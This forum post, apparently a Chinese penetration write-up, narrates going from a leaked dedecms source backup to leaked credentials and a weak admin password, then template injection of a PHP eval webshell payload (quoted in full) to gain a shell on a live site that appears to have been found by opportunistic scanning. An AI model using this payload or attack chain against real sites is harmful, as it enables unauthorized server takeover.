安全矩阵

 找回密码
 立即注册
搜索
查看: 2461|回复: 0

实战|记一次从源码泄露到getshell

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-12-29 10:53:35 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2021-12-29 10:54 编辑

原文连接:实战|记一次从源码泄露到getshell

前言:
此次渗透中的所有修改已经复原,且漏洞已经提交至cnvd平台
源码泄露
在一个月黑风高的夜晚,闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描
在查看备份文件扫描结果时,看到了宝贝


二话不说,访问下载得到源码!
可以在注释信息处发现dedecms的痕迹
敏感信息泄露
获得源码的第一步当然是获取敏感信息
先尝试全局搜索(crtl+shift+f)关键词

  1. key
  2. pwd
  3. passwd
  4. password
复制代码
1.数据库信息泄露

2.后台管理员密码泄露

md5解密尝试解密,居然是一个弱口令

有了账户密码后当然是要找到后台管理地址,那么有了源码后台管理地址还不是手到擒来?
后台RCE->getshell
源码中找到后台地址(居然改了个888)


用泄露的admin/admin888进入后台后,发现版本信息为dedecms PS1
历史漏洞
既然已经获得了cms信息,第一步当然看看他的历史漏洞
查找SP1历史漏洞都是远程代码包含漏洞,但是这个站点已经将关键文件install.php删除(源码中不存在)
抱着侥幸心里又去尝试访问l一下(说不定后来又加上了呢)确实不存在,只能继续查看其他功能点
然后也尝试测试了许多SP2的漏洞payload但均失败
继续测试其他点
继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数
但是明明没有模板引擎功能他为什么要禁用呢?
我带着这个疑问又重新翻看源码
果然又找到模板相关文件,(说明只是功能点被隐藏,文件依旧还在)
尝试访问,成功访问到并且能够正常执行
那么就好办了,根据dedecms模板规则,后台模板写入payload,访问即可执行PHP代码
  1. {dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
  2. //调用方式 [field:字段名/] 这里的关键是runphp='yes'
  3. //php代码则是简单的一句话
复制代码
然后去将其他选项中的禁用函数全部删除保存
因为注入到了index.htm

所以连接webshell 的 url为首页
  1. http://xxxxx:9890/index.php
复制代码

成功getshell

本来还应该通过源码泄露得到的数据库账户密码尝试连接数据库的,但这里删shell跑路太急了就忘记了测了



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:56 , Processed in 0.012776 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表